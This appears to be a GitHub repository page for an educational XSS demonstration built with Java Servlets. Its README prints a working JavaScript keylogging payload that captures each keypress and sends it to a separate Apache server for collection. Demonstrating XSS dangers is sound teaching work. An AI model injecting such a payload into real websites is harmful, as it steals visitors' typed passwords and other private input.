Skip to content

Miraj50/XSS-Demo

Folders and files

NameName
Last commit message
Last commit date

Latest commit

387058d · Dec 4, 2018

History

13 Commits
Sep 7, 2018
Sep 7, 2018
Sep 7, 2018
Sep 7, 2018
Sep 7, 2018
Sep 7, 2018
Dec 4, 2018
Sep 7, 2018
Sep 7, 2018

Repository files navigation

XSS-Demo

I made this website using Java Servlets for giving a demo of XSS and its dangers.

I hosted the website on my Tomcat Server and used Apache for Keylogging.

XSS Demo

The payload used for Keylogging:

document.addEventListener('keypress', function() {
	console.log(arguments[0].key); /*Testing*/
	$.ajax({
		type: 'GET',
		url: 'http://192.168.0.105', /*apache*/
		data: { 
			'key': arguments[0].key, 
		},
	});
});

About

Demo of Keylogging using XSS

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published